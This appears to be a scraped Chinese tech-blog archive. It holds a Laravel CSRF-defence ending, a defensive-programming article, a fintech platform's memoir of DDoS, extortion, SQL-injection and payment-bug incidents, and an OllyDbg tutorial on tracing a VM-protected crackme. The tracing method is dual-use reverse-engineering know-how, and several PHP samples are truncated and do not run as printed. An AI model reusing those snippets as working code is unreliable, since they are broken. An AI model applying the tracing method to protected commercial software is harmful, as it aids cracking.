Laravel会从请求中读取`_token`参数的的值,这个值就是在前面表单中添加的`CSRF_field()`函数生成的。如果请求是异步的,那么会读取`X-CSRF-TOKEN`请求头,从请求头中读取token的值。 最后使用`hash_equals`函数验证请求参数中提供的token值和session中存储的token值是否一致,如果一致则说明请求是合法的。 你可能注意到,这个检查过程中也会读取一个名为`X-XSRF-TOKEN`的请求头,这个值是为了提供对一些javascript框架的支持(比如Angular),它们会自动的对异步请求中添加该请求头,而该值是从Cookie中的`XSRF-TOKEN`中读取的,因此在每个请求结束的时候,Laravel会发送给客户端一个名为`XSRF-TOKEN`的Cookie值 $response->headers->setCookie( new Cookie( 'XSRF-TOKEN', $request->session()->token(), time() + 60 * $config['lifetime'], $config['path'], $config['domain'], $config['secure'], false ) ); ## 写在最后 本文只是对CSRF做了一个简单的介绍,主要是侧重于CSRF是什么以及如何应对CSRF攻击。有一个事实是我们无法回避的:**没有绝对安全的系统** ,你有一千种防御对策,攻击者就有一千零一种攻击方式,但不管如何,我们都要尽最大的努力去将攻击者拦截在门外。如果希望深入了解如何发起一个CSRF攻击,可以参考一下这篇文章 从零开始学CSRF。 作为一名web方向的研发人员,无论你是从事业务逻辑开发还是做单纯的技术研究,了解一些安全方面的知识都是很有必要的,多关注一些安全方向的动态,了解常见的攻击方式以及应对策略,必将在你成长为一名大牛的路上为你“推波助澜”。 ## 参考 * [wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) * [Cross-Site Request Forgeries](http://shiflett.org/articles/cross-site-request-forgeries) * [浅谈CSRF攻击方式](http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html) [防范 CSRF 跨站请求伪造](http://blog.jobbole.com/110398/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 想写无Bug的安全代码?看防御性编程的艺术 Date: 2017-02-21 URL: https://blog.wo.ai/archives/1234 Categories: Uncategorized 为什么开发者不编写安全的代码?我们在这并不是要再一次讨论「整洁代码」。我们要从纯粹的实用观点出发,讨论软件的安全性和保密性。是的,因为不安全的软件不仅无用,而且还可怕。我们来看看什么是不安全的软件。 * 1996年6月4日,欧洲航天局的 Ariane 5 Flight 501 在起飞后 40 秒被引爆。因为导航软件里的一个 bug,这个价值 10 亿美金的运载火箭不得不自毁。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d418b3a7c8_7cc829d3gw1f6r1wqy5zdj20b408cwem.jpg) * 1991年2月25日,MIM-104 Patriot(爱国者)里的一个软件错误使它的系统每一百小时有三分之一秒的时钟偏移,导致定位拦截入侵导弹失败。结果伊拉克的飞毛腿导弹击中宰赫兰(沙特阿拉伯东北部城市)的一个美军军营,28 人死亡,100 多人受伤。 * 其他案例,请参见《[Bug 引发的 18 次重大事故](http://blog.jobbole.com/104583/ "Bug 引发的 18 次重大事故")》。 这应该能够说明编写安全软件的重要性了,尤其在特定的环境中。当然也包括其他用例中,我们也应该意识到我们的软件 bug 会导致什么后果。 ## 防御性编程初窥 为什么我认为在特定种类的工程中,防御性编程是解决这些问题好办法? > 抵御那些不可能的事,因为看似不可能的事也会发生。 防御性编程中有很多防御方式,这也取决于你的软件项目所需的「安全」级别和资源级别。 > 防御性编程是防御式设计的一种形式,用来确保软件在未知的环境中能继续运行。防御性编程的实践往往用于需要高可用性、安全性、保密性的地方。—— 维基百科 我个人相信这种方法适合很多人参与的大型、长期的项目。例如,一个需要大量维护的开源项目。 我们来探索一下我提出的关键点,来完成一个防御性编程的实现。 ## 永远不要相信用户输入 设想你总是获取到你不想要的东西。因为像我们说过的,我们预期的是异常情况的出现,(所以)要时刻防备用户输入以及通常会传入你系统的东西,这是你成为一个防御性程序员的方法。试着做到尽可能的严格,确保输入的值就是你所期望的值。 _![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0ae4be85f5_1-2AwJBEFQ8XcNR7RzlMnTF-fw.png)_ _进攻是最好的防守_ 设置白名单而不是黑名单。举个例子,当你验证图像扩展名时,不要检查非法的类型,而是检查合法的类型并排除其他类型。在 PHP 有无数的开源校验库可以让你的工作变简单。 进攻是最好的防守。共勉 ## 数据库抽象化 在 [OWASP Top 10 Security Vulnerabilities](https://www.veracode.com/directory/owasp-top-10) 排首位的是注入攻击。这意味着有些人(很多人)还没有使用安全的工具来查询数据库。请使用数据库抽象包或库。在 PHP 里你可以使用 [PDO](http://php.net/manual/en/book.pdo.php) 来[确保基本的注入攻击防范](http://stackoverflow.com/questions/134099/are-pdo-prepared-statements-sufficient-to-prevent-sql-injection)。 ## 不要重复发明轮子 你不用框架(或微框架)吗?好吧恭喜你,你喜欢毫无理由地做额外的工作。这并不仅跟框架有关,也意味着你可以方便地[使用已经存在的、经过测试的、受万千开发者信任的、稳定的](https://packagist.org/)新特性,而不是你只为了自己从中受益而制作的东西。你自己创建方法的唯一原因是你需要的东西不存在,或存在但不符合你的需求(性能差、缺失特性等等)。 这就是所谓的智能代码重用。拥抱它吧。 ## 不要相信开发者 防御性编程与防御性驾驶相关联。在防御性驾驶中,我们假设周围的每个人都可能犯错。所以我们要留意别人的行为。相同概念也适用于防御性编程,我们作为开发者不要相信其他开发者的代码。我们同样也不要相信我们的代码。 在很多人参与的大型项目中,我们有许多方式编写并组织代码。这也导致混乱甚至更多的 bug。这也是我们需要加强规范代码风格和代码检查的原因,让生活更轻松。 ## 编写符合 SOLID 原则的代码 这是(防御性)编程最困难的部分——[编写不糟糕的代码](https://medium.com/web-engineering-vox/how-to-write-solid-code-that-doesnt-suck-2a3416623d48)。这也是很多人知道并一直在讨论的,但没有人真正关心或将注意力和精力放在实现符合 SOLID 原则的代码上。 让我们看一些糟糕的例子 > 避免:未初始化的属性 transaction->process($to, $amount, $this->currency); } } // I forgot to call $bankAccount->setCurrency('GBP'); $bankAccount->payTo($joe, 100); 在这个例子中,我们需要牢记签发付款前要先调用 setCurrency。这是很糟糕的事情,一个像这样的改变状态的操作(签发付款)不应该分两步来完成,且使用两个公开的方法。我们还可以用很多方法付款,但我们必须只有一个公开的方法来改变状态(对象不应该存在不一致的状态)。 在这个例子中,我们把它改进,将未初始化的属性封装进 Money 对象。 payTo($joe, new Money(100, new Currency('GBP'))); 使它万无一失。不要使用未初始化的对象属性。 > 避免:在类的作用域外泄露状态 content = $content; } } class Mailer { protected $message; public function __construct(Message $message) { $this->message = $message; } public function sendMessage( { var_dump($this->message); } } $message = new Message(); $message->setContent("bob message"); $joeMailer = new Mailer($message); $message->setContent("joe message"); $bobMailer = new Mailer($message); $joeMailer->sendMessage(); $bobMailer->sendMessage(); 在这个例子中,Message 是通过引用传递的,两个实例的输出都是 “joe message”。一个解决方案是复制 Mailer 构造函数中的 message 对象。但是我们应该做的是试着使用(不可变的)[值对象](https://en.wikipedia.org/wiki/Value_object),而不是简单可变的 Message 对象。尽可能使用不可变的对象。 content = $content; } } class Mailer { protected $message; public function __construct(Message $message) { $this->message = $message; } public function sendMessage() { var_dump($this->message); } } $joeMailer = new Mailer(new Message("bob message")); $bobMailer = new Mailer(new Message("joe message")); $joeMailer->sendMessage(); $bobMailer->sendMessage(); ## 编写测试 这点我们很还需要再说吗?编写单元测试可以帮助你秉承一般的原则,比如高内聚、单一职责、低耦合和正确的对象组合。它不仅帮助你测试小的单元用例,也能测试你组织对象的方式。确实,当测试你的小功能时,你会清晰的看到你需要测试多少情况和需要模拟多少对象,来达到 100% 的覆盖率。 ## 结论 希望你喜欢这篇文章。记住这些仅仅是建议而已,由你决定何时、何处以及是否应用。 感谢阅读! [想写无Bug的安全代码?看防御性编程的艺术](http://blog.jobbole.com/110123/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 百亿互金平台救火故事 Date: 2017-02-20 URL: https://blog.wo.ai/archives/1233 Categories: Uncategorized 多年前,又是周六客服打电话过来,平台官网不能访问,app完全无法打开,客户在QQ群和微信群中各种反馈,说平台是不是跑路了?客服的多条400热线完全被打爆,电话已经接不过来… ## 前言 一直以来总是想以什么方式去记录下自己在互金行业的这段经历,趁着自己还记得清楚,还能找到一些资料原型,一方面可以分享出来供大家参考,但是更重要就是多年以后我可以根据这些文章回忆起来自己的那段激情岁月。 想了很久但一直没有实施,后来觉得应该从架构的角度来梳理一篇文章,就写《[从零到百亿互联网金融架构发展史](http://blog.jobbole.com/110234/)》这篇文章;最后认为只有实战出来的东西以及解决问题的过程,才是工作中最宝贵的经验,应该把它分享出来,在梳理的过程中觉得有三起事故比较有代表性就整理出了下面这三篇文章,本篇文章从整体来回忆一下一路走过来所经历过的救火故事。 * [一次生产事故的优化经历](http://blog.jobbole.com/110152/) * [一次 DNS 缓存引发的惨案](http://blog.jobbole.com/110165/) * [一个脚本引发的血案](http://blog.jobbole.com/110225/) 作为一个互联网金融平台,涉及到用户资金,任何的服务(资金)差错用户都是不可容忍的,用户不懂什么是数据库,不知道什么网络不通,就是一会看不到钱在app里面展示都会觉得不安。在已经有很多P2P公司跑路的前提下,用户个个已经被锻炼成为福尔摩斯侦探,每天打开app查看收益,监控着平台一切,甚至半夜升级断网十分钟,也会被用户察觉,直接就发到群里面,更有甚者直接在QQ群或者微信群中你们的技术行不行! 我们常说的互联网工作经验,一方面是开发经验,但其实更重要的是处理问题的能力。那么处理问题的能力怎么来呢,就是不断的去解决问题,不断的去总结经验,其中处理生产环境中问题的经验更甚,因为在处理生产环境中对个人的压力和临危应变的能力要求最高,你不但需要面临千万个用户反馈,客服不时得催促而且旁边可能就站了N个领导在看着你,一副你行不行的样子要求立刻马上解决问题!这个时候你的操作就非常重要,稍有不慎便会引发二次生产事故。 说了这么多,只是想说明,生产事故对技术综合能力要求颇高,更是锻炼处理问题能力最佳时机!下面给大家介绍我们从零开发到现在百亿交易量所遇到的几次关键事故,有大有小挑出一些比较有代表性的事件来分享。 ## 并发满标 公司系统刚上线的时候,其实没有经历过什么大量用户并发的考验,结果公司做了一个大的推广,涌入了一批用户来抢标,共1000万的标的几乎都在10秒之内搞定,大概会有上万左右的用户会同时去抢标,平均每秒大概有千人左右的并发,满标控制这块没有经过大的并发测试,上来之后就被打垮了,导致得结果是什么呢,1000万的标的,有可能到一千零几万满标,也有可能会九百多万就满标,也就说要不就是多了一些,要不就是少了一些,就满标了。 这就会很尴尬,因为借款用户就借款一千万整,那么多出来的钱既不能给用户退回了,因为用户好不容易才抢上了,无端退了用户也闹;少了也是问题,用户借款一千万,少了几十万也不行,如果短得少了可以想办法找一些有钱的客户直接给买了,多了就必须重新放出来让用户投资,非常影响士气,这个问题困扰了我们有一段时间。 购买标的流程图,不知道大家是否能根据此图发现问题呢? ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5ecf0cf72b_buy.png) **超募** 为何会产生超募?在最早前的版本中没有使用乐观锁来控制,如果在最后购买的用户一单出现并发,就会出现超募,比如最后剩余30000份的购买份额,因为并发量特别大,可能同时会有十几个用户拿到了剩余30000份余额的可购买额度,有的买1000份、有的买上3000份、有的买上20000份都会驱动满标,所以最后导致了超募。 针对这个问题,主要是引入了memcached乐观锁的概念(底层主要是`cas`、`gets`两个命令),在发标的时候存入标的总份额,当用户购买的时候首先去锁定用户购买的份额,因为乐观锁的原因,如果同时有两个用户拿到份额的时候保证只有一个最后可以更新成功(锁定份额),(锁定份额)失败直接返回,这样就保证了在入口的时候就直接屏蔽了部分并发的请求。 **少募** 为何产生少募?少募是可能1000万的标的突然到980万就给满标了,这是因为在超募情况下我们完善了代码,用户一进来首先就是锁定购买份额,只有锁定购买份额才能进行下面的流程,如果锁定购买份额失败直接返回,这样虽然保证了在1000万份额在购买初期必须每一个用户只能锁定一份,但是在高并发的情况下,因为购买流程中有十几个分支,每一个分支失败就会退回锁定的份额,这样就会导致这样的现象,就是可能是并发一上来,马上就满标了,过了一会进度就回退回来了。 少募主要是因为分支失败回退导致的,一方面我们分析了容易导致回退热点,因为在用户抢标的时候会给用户实时的展示标的进度,在很早的版本中直接就是存入到一个标的进度表里面,并且采用了乐观锁,如果并发一高就频繁的更新失败导致回退,因此优化了标的进度这块,直接去掉了标的进度表,实时根据查询来展示标的进度(可以有延迟,有缓存);另一方面在回退份额的时候在次判断试下memcached的份额和标的的状态,如果份额不为零并且标的状态是满标,马上自动更新状态保证后续用户可以立即购买再次驱动满标。 _做了以上的两种优化后,我们还遇到了其它的一些小问题,在不断的优化过程中,终于稳定下来;在后期版本中将考虑使用MQ队列或者redis队列来处理抢标更合理对用户也更公平一些。_ ## 黑客攻击 2015年应该是互联网行业受黑客攻击最多的一年吧,各互金公司都深受其害,其中我就记得网贷之家有一段时间被黑客攻击的太厉害,连续几天网站都无法打开。当然了我们也未能幸免,什么DDOS攻击、SQL注入、寻找系统漏洞等都几乎都经历过了,有的黑客还比较好,应该是出于善意或者展示自己,将漏洞放到乌云上面或者漏洞盒子里面让厂商来修复。但更多的是一些黑产完全就是威胁、敲诈想捞一笔钱,先看看下面这位吧: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9811b8c8c_hacker.png) 这个家伙潜伏到我们公司的客户群里面,冒充我们的客户代表将头像和资料替换成一样,然后给群里所有的客服让他们发送我们内部的后台地址,想通过这种方式来寻找突破口,当然了这个算是里面的小菜鸟吧。 ### DDOS攻击 DDOS攻击我们也是遇到了很多次,确实也没有比较好办法,最后都是通过一些笨办法来尽量的避免,先说说我们的经历吧。有一次我正在敲代码,客服QQ又闪烁了起来,还没来得及打开查看信息,客服的经理电话就直接打了过来,我立刻就有一种不祥的预感,说官网打不开了,后台也登录不了。 挂了电话,我在本机进行了测试果然不行,立刻准备登录VPN查看服务器各项指标,结果登录不上去,马上上楼找运维经理,他也登录不上,刚准备给机房打电话的时候,机房来电话了,说我们的一个IP正经历着1G多的流量访问,问我们是否正在做什么活动,刚话没有说完就说流量已经到5G,不到一分钟之后流量已经到达18G之多。因为我们的机房和集团公用了一个宽带入口,结果陆续的集团上面反馈他们的网站、服务也都出现了问题,机房方面害怕引起更大的冲击,直接把我们官网对外的IP封掉,集团的其它业务也才慢慢都恢复了过来,我们也紧急的更换了外网IP,重新切换了域名解析才恢复。 事后我们根据apache分析了日志,流量来自N多个不同的IP地址根本无法应对,也正式因为这次攻击也才让我们领导重视了起来,将我们公司的机房网络层和公司集团彻底分离,这样的话不管那方受到大流量攻击都不会相互影响,我们也想了一些笨办法,因为上次我们更换了外网IP之后攻击也就停止了,那么我们认为肯定是针对我们外网来攻击的,所有我们就多准备了6个外网IP,当监控到对某一个外网进行攻击的时候马上切换到另一个外网地址,就这样跟他们玩,可以起到非常有限的一点作用,如果黑客真的想跟我们玩,这个办法就像是小孩子捉迷藏。 **周年庆的DDOS攻击** 还有一次我们正在做周年庆活动,突然有人在QQ群里面给我们客服说了一句,叫你们的技术负责人来找我,然后我们的网站就挂了,我还保留了当时的一个截图如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9811b8c8c_hacker02.png) 完了之后客服就来找我,然后按照往常的策略处理完之后,我根据客服给我的QQ号码加上了那个人,开口就来吓我,我依稀记当年的对话如下: > 黑客:你是平台的技术负责人吗? > 我:算是吧 > 黑客:你信不信我可以让你们官网在5秒之内挂掉? > 我:…(沉默,还真害怕又把官网搞挂了) > 黑客:你们的官网漏洞很大 > 我:如果有好的建议请您赐教 > 黑客:你们的服务器是不是什么防护软件都没有装? > 我:…(继续沉默,这会在想不会是那个安全厂商来推广产品的吧,当然我们基础的防护肯定有) > 黑客:我们有非常多的肉鸡,想攻击谁,几秒之内肯定搞定 > 我:… > 黑客:我们已经给很多互联网金融行业做了渗透测试,花点钱帮买你们平安,保证以后不会在出事情 > 我:… > 黑客:免费的策略也有很多,比如360、百度云的安全产品可以免费低档10G左右的流量 > > ……(中间省略) > > 黑客:我说了这多,你们也是不是给包烟钱,表示表示。 > > …… _后来也和领导进行了商议,坚决不能给他们钱,不能助涨这种嚣张气焰,实在不行就报警!_ 曝光一下当年使用的假QQ号,刚查了下变了个头像和描述,如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9811b8c8c_hacker01.jpg) 后来我一直在想为什么DDOS攻击总是喜欢根据外网IP来攻击呢,慢慢好像是理解了如果针对域名来攻击的话,那不就是攻击到域名商的服务器了吗,一般域名商比较强大,黑客不太搞的定,也确实没有必要。当然记的前一段时间,某著名域名服务商被攻击,导致国外twitter等著名的互联网公司访问不断到达半天以上,还是很严重的。但是对于我们这些小公司,倒不至于搞这么大的动作。 到底如何正确的防止DDOS攻击: > * 第一种方案,隐藏服务器外网地址,服务器前端加CDN中转,免费的有百度云加速、360网站卫士、加速乐、安全宝等,如果资金充裕的话,可以购买高防的盾机,用于隐藏服务器真实IP,域名解析使用CDN的IP,所有解析的子域名都使用CDN的IP地址。此外,服务器上部署的其他域名也不能使用真实IP解析,全部都使用CDN来解析。 > > * 第二种方案,买一些安全产品来进行流量清洗,主要是阿里云、腾讯云这种大厂商提供的一种服务。 > > * 第三种方案,有很多的防火墙产品声称可以防止Ddos攻击,但是我个人使用感觉效果非常有限。 > ### SQL注入 我们的官网使用的是PHP开发,因为框架比较老旧的原因,存在着一些SQL注入的点,我们发现了一些进行了修补,没想到还是被一些黑客找到了突破点,这块还是比较感谢这些黑客的在漏洞盒子上面提交了bug(如下图),最后我们根据提示进行了紧急修复,后来我们也在WAF防火墙配置了一些拦截SQL注入的策略,起到双保险的作用。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f9811b8c8c_sql.jpg) 我一直在想为什么PHP一般比较容易出现SQL注入呢,而Java较少的暴漏出来SQL漏洞的情况,我估摸着有两方面的原因:第一,PHP一般会在前端使用的较多,受攻击的机会更多一些,Java一般做为后端服务攻击的可能性会比较少;第二,PHP框架较多而且很多早期的框架并没有特别考虑SQL注入的情况,Java大量普及了mybaits\hibernate这种orm框架,框架本身对常见的SQL注入有防止的功能,但不是说mybaits/hibernate框架就没有被sql注入的可能,大部分场景下是OK的。另外参数化查询可以有效的避免SQL注入。 通过一段时间的学习,我发黑客一般先使用工具对网站做整体的扫描类似Acunetix,在根据扫描出来的漏洞做个大概的分析,但是比较深入的漏洞都需要根据网站的业务在进行调整,比如sql注入会根据页面的查询使用sqlmap等工具来进一步的渗透。当然我对这方面还是外行,描述的可能不够清晰。 **其它攻击** 其它方面的攻击,主要是在业务方面,比如我们当初有一个很小的失误,有一个程序员在H5的小网页中将发送短信验证码返回了前端,最后被haker发现了,利用这个漏洞可以给任意的用户重置登录密码;短信攻击,现在的网站几乎都有发送短信或者短信验证码的功能,如果前端不做校验,haker会随便写一个for循环来发短信,一般系统的短信会进行全方位的防控,比如:1、前端加验证(字符验证码,有的是拖拽的动画);2、后端根据用户或者IP加限制,比如用户一分钟只可以发送一条短信,忘记密码的短信一天只能发送10条、一个IP地址限制每天只能发送100条短信等。 ## BUG ### 重复派息 15年的某一天看到一个新闻说是陆金所的一个用户发现自己银行里面突然多了很多钱,没过多久又被扣走了,然后收到陆金所那边的解释,说是给用户还本派息的时候程序出现了问题导致还本派息两次,当他们程序员发现了此问题后紧急进行了处理,用户当然闹了呀,就上了新闻,当然陆金所通道能力确实比较强可以直接从用户卡里面扣,当大家都兴致勃勃的谈论这个话题的时候,我却有一股淡淡的忧伤,为什么呢?因为这个错误我们也犯过,具体说就是我搞的,大家可不知道当时的心里压力有多大! 事情是这样子的,我们使用的第三方支付的扣款接口不是特别的稳定,于是我们前期就对接了两种不通的扣款接口,平时前端投资的时候走一个接口,后端派息或者还本的时候走另外的一个接口,在初期的时候扣款接口不稳定,因此在给用户跑批的时候经常会有个别用户失败,需要手动给失败的用户二次派息。做为一个有志向的程序员当然觉得这种方式是低效的,于是将程序改造了一下,在后端派息的时候当第一种扣款失败的时候,自动再次调用第二种扣款接口进行扣款,当时想着这种方式挺好的,各个环境测试也没有问题,上线之后监控过一段时间也运行稳定。 当我感觉一切都很美妙的时候,事故就来了,突然有一天客服反馈说有的用户说自己收到的利息感觉不对,好像是多了(真的是太感谢这个用户了),我登录后台看了一下派息的流水复核了一遍,果然利息被重复派了,一股冷水从头而下,把当天所有的用户派息记录和到期记录都进行了检查,影响了70多个用户,导致多派息了6万多元,幸亏只是派息出了问题,如果是到期的话金额会翻N倍,其中70多个人里面有几个进行了提现、几个进行了再次投资,绝大部分用户在我们发现的时候还不知情,金额也没有动。 怎么处理呢,当然不能直接就动用户的钱了,给每个重复派息的用户打电话,说明原因赠送小礼物,请求谅解后我们把重复派过的利息在次调回来。大部分用户进行了核对之后都还是比较配合的,但是肯定有一些用户不干了,当然也不能怪客户,都是我的原因,有的客户需要上门赔礼道歉,有的客户需要公司出具证明材料,我们的老板亲自给客户打了N个电话被客户骂了N遍,我心里压力可想而知,其中有一个客户特别难缠,各种威胁说既然到了我的账户里面肯定是我的,你们的失误不应该让他来承担,折腾了很久,还是不能怪客户。可能会说有的互联网公司经常出现这种问题后就送给客户了,哎,我们是小公司呀!这个噱头玩不起。 到底是什么原因呢,事后进行了复盘也给领导做了汇报,平时都是首先进行派息的定时任务,过一个小时之后进行到期的定时任务,当天的派息标的比较多,跑了一个半小时,就导致了派息和到期的两个定时任务同时进行,转账有了并发,第三方支付的接口不稳定给我们返回的失败,其实有的是成功的,就导致了我们进行了二次的扣款尝试引发了此问题。这个事情给我带来了非常大的教训,对于金融扣款的这种事情一定需要谨慎,哪怕付款引发报警之后在人工处理,也不能盲目重试可能引发雪崩效应。 ### 杂七杂八 还有就是其它一些零碎的问题了,记的有一次对用户的登录过程进行优化,导致有一块判断少了一个括号结果用户在那两个小时内,只要输入账户,任意密码就可以登录了,幸好及时发现这个问题,正是这个问题才导致了我们正式确立了规范的上线流程,为以后的上线制度建定了基础。 还有一次我们在模拟用户投资一种标的时候,留了一个入口通过http就可以调用,测试也没有问题,有一天正好给领导演示呢,就在次用http请求的方式在浏览器执行了一下,前端就会看到自动投标的过程,因为生产的数据有点多,投标的过程有点长,我们为了加快进度,找了好几个人同时来执行这http请求,导致最后出现了问题,最后发现写测试脚本的这个同事根本就没有考虑并发的情况,才导致出现了问题。 也做了很多的活动,记得做一个网贷之家的一个活动的时候,活动上线比较紧张,我们团队曾经连续工作超过30个小时(一天一夜再一天),当天晚上我2点左右写完程序,测试从2两点测试到早上9点,最终确认没有任何问题,才进行投产。半夜公司没有暖气,我们实在冻的不行了,就在办公室跑步,从这头跑到那头,第二天上线之后,又害怕出现问题,监控了一天,确认没有任何问题,才到下午正常下班回家,那时候真是激情满满呀。 说到做活动肯定少了羊毛党,说哪一家互金公司没有遇到过羊毛党那很少见,而且现在的羊毛党规模简直逆天了,我们用户里面就有一个羊毛党在两三天之内邀请了六七千位用户,如果说邀请一个用户送1元,那这个用户就可以搞几千块一次,而且有很多专业的网站、QQ群、微信公共账号都是他们的聚集地,那天那个平台有活动门清,他们写的淘羊毛操作手册有时候比我们官网的帮助文档还清晰,所以做活动的时候要考虑特别周全,各种限制,有封定、有预案、讲诚信,只要是符合我们活动规则的坚决按照流程走。 还有一个有趣的事情,app推送,一次我在公交车上就看到xx盒子app弹出hhhhh的推送,这个事情我们也搞过,因为在调试的时候生产和测试就差了一个参数,有时候开发人员不注意就把生产参数部署到uat环境了,测试一发送就跑到生产了,这方面只能严格流产管理来防止了。 其实还很多问题:mongodb集群和mysql的同步出现的一些状况、后台大量数据查询下的sql优化、golang使用mapreduce碰到的问题… 限于篇幅这里就不一一清晰的描述了。 其实每次的出现问题都是对团队一次非常好的锻炼机会,通过发现问题,定位问题,解决问题,再次回过头来反思这些问题;重新梳理整个环节, 举一反三避免下次再次出现类似的问题。正是因为经历这些种种的困难、考验才让团队变的更强大更稳定,也更体现了流程的重要性,更是避免再次发生类似问题。 ## 总结 古代对将军的要求是,心有万马奔腾而过,而面平静如湖水可照镜,在互联网行业对大牛的要求也同如此,特别是技术的负责人,在面对生产事故的时候,一定首先是安抚同事,静下下心来找到问题本质在去解决,而不是不断去施加压力催促解决,重压之下很多心里承受能力稍弱的队友,更加慌乱而不利于解决问题或者引发二次事故。 在看淘宝双十一视频中,有一段特别受到感触,在双十一初期,虽然技术团队做了很多的准备,但是在零点过后流量瞬间涌入,服务被打垮,部分用户投诉刷新不出网页,紧接着隔壁同事也都反馈网站打不开,在大家都在慌乱中,xx一拍桌子大喊一声,大家都别动,三分钟之后再说,过了几分钟之后服务慢慢部分恢复了正常。后来回忆说,当时虽然服务瘫痪,但是监控还是有部分得业务成功,说明系统并没有被压垮,而此时的任何操作都有可能引发更大的问题,从此之后此人一战成名,成为阿里大将。 互联网平台发展大抵都会经历三个阶段: * 1、上线初期,此阶段问题最为繁多,生产事故不断,系统快速迭代优化。有人说为什么不测试到完全没有问题在投产吗?说实话在互联网行业这个很难,第一小公司很难做到生产环境和测试环境一致,成本太高;时间紧迫,一般都是很短的时间内要求上线,上线之后在快速迭代。另外互联网本就是一个快速试错的行业,错过半年时间可能风口早过; * 2、发展期,此阶段主要业务模式已经得到验证,系统出现问题的频繁度较少,低级错误减少,但此时是用户量和交易量不断爆发的时候,对系统性能、高并发的要求又上来了,所以此时出现的问题大多都是性能的问题; * 3、成熟期,发展期过后系统相对比较平稳,用户量和交易量都已经慢慢稳定下来,生产问题越来越少,出现问题几乎都是细小的bug,这个阶段也是公司最忽略技术得阶段,恰好我们公司就处于这个阶段,在这个阶段就需要静下心里,组织架构升级,补齐在初期和发展起所欠的技术债务,做好公司在升下一个量级的技术准备。 > 所有的这些问题几乎都集中在14年底到15年初的这个阶段,15年后半年开始到现在平台慢慢稳定了下来,到现在几乎没有再出现过类似的问题,也因为几乎都是两年前的事情,有很多记的不是特别清楚了,写的比较粗糙望见谅。 [百亿互金平台救火故事](http://blog.jobbole.com/110255/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 如何用 OllyDbg 的跟踪功能分析虚拟机保护 Date: 2017-01-14 URL: https://blog.wo.ai/archives/1232 Categories: Uncategorized 虚拟机保护已经是现代保护壳不可缺少的一环,虽然逆向方也发展出各种插件帮助分析,但只针对特定某款,通用性的方法却不多见。我总在想,既然虚拟机的结构是固定的,如果有一款工具能够记录指令流,那么按图索骥,也许能发展出一套通用的分析方法来。其实OD(OllyDbg)就有记录指令流的功能,叫跟踪(trace),也许是效果不好或者操作不便,用的人甚至知道的人不多。先介绍下怎么用。 OD的跟踪功能原理很简单,就是每一步都自动下单步断点,然后记录断下来的指令信息。这项功能涉及到几项设置,第一项是缓存大小,不难想象,跟踪得到的这一些列的指令记录是需要占地方存储的,占多大可以设置,位置在调试选项(Debugging options)->跟踪(Trace),如图1。 ![file0001](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb2510c4c8_1a016cb4c1c92a441a0fd4ab9e6bd879.jpg) 图1 第一项就是缓存的大小,内存允许的话,自然是多多益善,毕竟缓存越大,允许记录的信息越多。第二项是记录的内容,跟踪会自动记录地址模块等信息,此外可以选择是否记录指令、ESP和标志位的信息。设置位置紧接着缓存大小,见图2,可以按需勾选,本文只需要记录指令即可。最后一项是在调试(DEBUG)菜单中打开Trace。 ![file0002](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4e35159f3f_461237d368474b64ecfb6a277b900835.jpg) 图2 现在Trace已经设置完毕了,按下Ctrl+F12,查看Trace窗口,应该已经开始记录执行过的指令。否则请检查前述设置和操作是否正确。 那么,虚拟机保护要怎么入手分析呢?前面我提到,虚拟机是有固定结构的,既然要分析,那对应的找到这些结构应该就可以了。传统保护虚拟机的结构其实很简单,大致可以看成一只章鱼,有三个部分,分别是init(头),Dispatch(身)和Handle(触须),如图3: ![file0003](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f248e63eb1_a0ec974c5655b05c9920257d38c5ff95.jpg) 图3 Init主要完成虚拟机初始化工作,例如申请内存填写初始值之类,每次进入虚拟机,这个“头部”通常只执行一次。Dispatch是虚拟机的主体,可以看成一个主循环,它是每一条虚拟机指令的开始之处,也是结束之处,负责读取虚拟机指令,进入具体handle解释等工作。Handle就是虚拟机的“指令”了,实际完成各项虚拟机指令的功能。 我曾写过一篇《基于虚拟机的软件保护技术》较为详细的介绍过虚拟机保护技术,对基本结构还不太熟的同学,此文会对上述概念有更详细的说明。 现在,我们就要在具体的软件中找这只“章鱼”了。以一个CrackMe为例,首先清理所有断点,打开Trace,Ctrl+F12跟踪步过运行,看到程序跑起来了,F12暂停,看Trace的窗口如下(图4): ![file0004](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ca497f3c3_54c7c30af4f097638622028ca5ae901b.jpg) 图4 记录是从下往上看的,可以看出,在程序空间的最后一条支流,是00401534的一个call,调用了DialogBoxInDirectParamA,这是一个调出系统对话框的API,其中有一个参数DlgProc用来指明消息回调函数的位置,我们直接在反汇编窗口查看这个API,发现回调函数是0x401572(图5): ![file0005](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b5846b312e_d965452de3ca2c5d42de23efbedbbbf7.jpg) 图5 0x401572处代码不长,有好几条Call,但大部分都是系统Call,只有一处调用了程序空间的函数,这个函数就是虚拟机的入口。到这里,我们对虚拟机的分析的工作才刚刚开始。 首先对虚拟机的入口下断,然后重新运行程序。目的是保证能够正确找到init。现在应该端在虚拟机的入口处,如下图: ![file0006](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b5846b312e_d125fc8a809b6de97cbdba3d35762398.jpg) 图6 这是个非常简单的虚拟机,有经验的同学也许可以一眼就看出来图6包含了Init和Dispatch分别在哪里。当然也可以用Trace快速找出虚拟机的各个结构。现在去掉断点,打开Trace,Ctrl+F12跟踪步过,这时程序会跑起来,多点击几下按钮,目的是让主要分支得到更充分的执行(即增加获得执行的次数),然后F12暂停。回到Trace窗口,对着任意一行程序空间的指令点击右键,选择模块统计,结果如下图: 